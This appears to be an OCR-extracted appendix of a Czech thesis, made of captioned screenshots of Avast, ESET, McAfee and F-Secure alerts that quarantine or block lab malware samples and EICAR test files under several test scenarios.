We can also protect you from other types of threats

UPGRADE YOUR PROTECTION MORE OPTIONS -

See details

@ 0

Obrazek P II. 22 Detekce mlwr _1.exe pfi scénafi RUN | Avast

(zdroj: vlastni)



&) Avast

2

Threat secured

We've moved miwr_02_eicar.com to your Quarantine because it was infected
with EICAR Test-NOT virus!!!

We can also protect you from other types of threats

UPGRADE YOUR PROTECTION MORE OPTIONS -

See details

©a

Obrazek P II. 23 Detekce mlwr 2.exe pii scénafi RUN | Avast

(zdroj: viastni)

& Avast

Threat secured

We prevented your connection to 192168.100.11 because it is a dangerous
webpage. Threat category: Win64:MalwareX-gen [Misc]

We can also protect you from other types of threats

UPGRADE YOUR PROTECTION MORE OPTIONS -

See details -

@ o

Obrazek P II. 24 Detekce mlwr _5.exe pti scénaii DWN | Avast

(zdroj: vlastni)



& Avast

2

Threat secured

We've moved miwr_5.exe to your Quarantine because it was infected with
Win&4:MalwareX-gen [Misc]

We can also protect you from other types of threats

UPGRADE YOUR PROTECTION MORE OPTIONS -

See details

®©a

Obrazek P II. 25 Detekce mlwr 5.exe pii scénari RUN | Avast

(zdroj: vlastni)

&) Avast

Threat secured

We prevented your connection to 192168.100.11 because it is a dangerous
webpage. Threat category: Win64:Evo-gen [Trj]

We can also protect you from other types of threats

UPGRADE YOUR PROTECTION MORE OPTIONS -~

See details

ONE|

Obrazek P II. 26 Detekce mlwr_6.exe pii scénafi DWN | Avast

(zdroj: vlastni)



&) Avast

2

Threat secured

We've moved miwr_6.exe to your Quarantine because it was infected with
Win64:Evo-gen [Trj]

We can also protect you from other types of threats

UPGRADE YOUR PROTECTION MORE OPTIONS -

See details

® o

Obrazek P II. 27 Detekce mlwr_6.exe pii scénafi ACC | Avast

(zdroj: viastni)

&) Avast

2

Threat secured

We've moved miwr_6.exe to your Quarantine because it was infected with
Win64:Evo-gen [Trj]

We can also protect you from other types of threats

UPGRADE YOUR PROTECTION MORE OPTIONS -

See details -

@ o

Obrazek P II. 28 Detekce mlwr_6.exe pii scénaii RUN | Avast

(zdroj: vlastni)



threat found

These uninvited guests could harm your computer or privacy. We strongly recommend moving them to

Guarantine

Threat name Infected file

B [:} Win64:Evo-gen [Trj] C:\Users\ \Downloads\miwr_6_cle...

Obrazek P II. 29 Detekce mlwr _6.exe pii scénafi SCAN | Avast

(zdroj: vlastni)

& Avast

2

Threat secured

We've moved miwr_07_eicar.com to your Quarantine because it was infected
with EICAR Test-NOT virus!!!

We can also protect you from other types of threats

UPGRADE YOUR PROTECTION MORE OPTIONS -~

See details

®©a

Obrézek P II. 30 Detekce mlwr _7.exe pfi scénafi RUN | Avast

(zdroj: vlastni)



&) Avast

2

Threat secured

We've moved miwr_08_eicar.com fo your Quarantine because it was infected
with EICAR Test-NOT virus!!!

We can also protect you from other types of threats

UPGRADE YOUR PROTECTION MORE OPTIONS -

See details

©a

Obrazek P II. 31 Detekce mlwr_8.exe pii scénafi RUN | Avast

(zdroj: viastni)

v X
A Threat removed

A threat (ML/Augur) was found when
& Microsoft Edge tried to access a website

(192.168.100.11:8000).

The access has been blocked.

Learn more about this message

Buy subscription Your free trial expires in 24 days.

Obrazek P II. 32 Detekce mlwr 1.exe pfi scénaii DWN | ESET

(zdroj: viastni)



NOD32 ANTIVIRUS
A Threat removed

A threat (ML/Augur) was found in a file that
‘=l Windows Explorer tried to access.

The file has been deleted.

Learn more about this message

Buy subscription Your free trial expires in 24 days.

Obrazek P II. 33 Detekce mlwr_1.exe pti scénaii ACC | ESET

(zdroj: vlastni)

NOD32 ANTIVIRUS
A Threat removed

A threat (ML/Augur) was found in a file that
‘= Windows Explorer tried to access.

The file has been deleted.

Learn more about this message

Buy subscription Your free trial expires in 24 days.

Obrazek P II. 34 Detekce mlwr _1.exe pti scénaii RUN | ESET

(zdroj: vlastni)



(esfX) NOD3Z ANTIVIRUS

Context menu

Scan Log

Version of detection engine: 31252 (20250524)

Date: 24/05/2025 Time: 22:33:29

Scanned disks, folders and files: C:\Users\-\Downloads\mle.exe

User: DEskTOP-A27HVEG NG

Ch Users'_ Downloads\mlwr_1.exe - ML/Augur trojan - cleaned by deleting [1]
Mumber of scanned objects: 2

Murmber of detections: 1

Mumber of cleaned objects: 1

Time of completion: 22:33:2% Total scanning time: 0 sec (00:00:00)

Obrazek P II. 35 Detekce mlwr_1.exe pii scénari SCAN | ESET

(zdroj: vlastni)

NOD32Z ANTIVIRUS v
A Threat removed

A threat (Eicar) was found in a file that
| Motepad.exe tried to access.

The file has been deleted.

Learn more about this message

Buy subscription Your free trial expires in 24 days.

Obrazek P II. 36 Detekce mlwr_2.exe pii scénafi RUN | ESET

(zdroj: vlastni)



NOD32 ANTIVIRUS 2 messages v X
A Threat removed

A threat (ML/Augur) was found when
€ Microsoft Edge tried to access a website
{192.168.100.11:8000.

The access has been blocked.

Learn more about this message

Buy subscription Your free trial expires in 24 days.

Obrazek P II. 37 Detekce mlwr 5.exe pii scénati DWN | ESET

(zdroj: vlastni)

NOD32 ANTIVIRUS v
A Threat removed

A threat (ML/Augur) was found in a file that
‘=l Windows Explorer tried to access.

The file has been deleted.

Learn more about this message

Buy subscription Your free trial expires in 24 days.

Obrazek P II. 38 Detekce mlwr_5.exe pii scénari ACC | ESET

(zdroj: vlastni)



NOD3Z ANTIVIRUS vooX
A Threat removed

A threat (ML/Augur) was found in a file that
‘=l Windows Explorer tried to access.

The file has been deleted.

Learn more about this message

Buy subscription Your free trial expires in 24 days.

Obrazek P II. 39 Detekce mlwr 5.exe pii scénafi RUN | ESET

(zdroj: vlastni)

(es[R) NOD3Z ANTIVIRUS

Context menu

Scan Log

Version of detection engine: 31252 (20250524)

Date: 24/05/2025 Time: 22:47:22

Scanned disks, folders and files: C:\Users‘g_gDownIoadsxmlwr_ﬁ_clear.zip

User: DESKTOP-A87HVEG\ (I

C:\_U5er5‘~_-_D0wn|aadz‘\_mIwr_S_cIear.zip » ZIP = mlwr_3.exe - ML/Augur trojan - retained
Mumber of scanned objects: 4

Mumber of detections: 1

Mumber of cleaned objects: 0

Time of completion: 22:47:22 Total scanning time: 0 sec (00:00:00)

Obrazek P II. 40 Detekce mlwr_5.exe pfi scénafi SCAN | ESET

(zdroj: vlastni)



NOD32 ANTIVIRUS v
A Threat removed

A threat (ML/Augur) was found when mbwr_g.exe
tried to access a website (122.168.100.11:20007.

The access has been blocked.

Learn more about this message

Buy subscription Your free trial expires in 24 days.

Obrazek P II. 41 Detekce mlwr_6.exe pii scénafi RUN | ESET

(zdroj: vlastni)

NOD32 ANTIVIRUS vooX
A Threat removed

A threat (ML/Augur) was found in a file that
miwr_7.exe tried to access.

The file has been deleted.

Learn more about this message

Buy subscription Your free trial expires in 24 days.

Obrazek P II. 42 Detekce mlwr_7.exe pti scénaii RUN | ESET

(zdroj: vlastni)



NOD32 ANTIVIRUS voOX
A Threat removed

A threat (Eicar) was found in a file that
mbwr_8.exe tried to access.

The file has been deleted.

Learn more about this message

Buy subscription Your free trial expires in 24 days.

Obrazek P II. 43 Detekce mlwr_8.exe pii scénafi RUN | ESET

(zdroj: vlastni)

Resolved threats (6)

EICAR test file
File location: C:\Users | Public\ miwr_08 _eicar.com
Date | Time: 25/05/2025 12:32

Status: Quarantined

EICAR test file
File location: C:\Users \Public miwr_07 _eicarcom
Date | Time: 25/05/2025 12:32

Status: Quarantined

EICAR test file

File location: C:\Users \Public', mlwr_08 _eicar.com

Obrazek P 1II. 44 Detekce soubor Eicar pfi piistupu ¢i vynuceném skenu | McAfee

(zdroj: vlastni)



Time 0 Title

£ 25/05/2025 12:48 ' Harmful file quarantined

Path: C\Users\Public
File: mbwr_08_eicar.com

Reason: Eicar-Test-Signature

Obrézek P II. 45 Detekce soubor Eicar pfti pfistupu €1 vynuceném skenu | F-Secure

(zdroj: vlastni)

K App and file contrel - F-Secure - O x

Quarantined Blocked Excluded @

Behavior Detection has blocked these applications because they may harm your computer.

Time bem

o 20/05/2025 22:13:30  mbar_l.exe

Reason: Suspicious behaviour, Location: CA\Users\ I Dovwnloads\miwr_1.exe

Obrazek P II. 46 Detekce mlwr _1.exe pfi scénafi RUN | F-Secure

(zdroj: vlastni)
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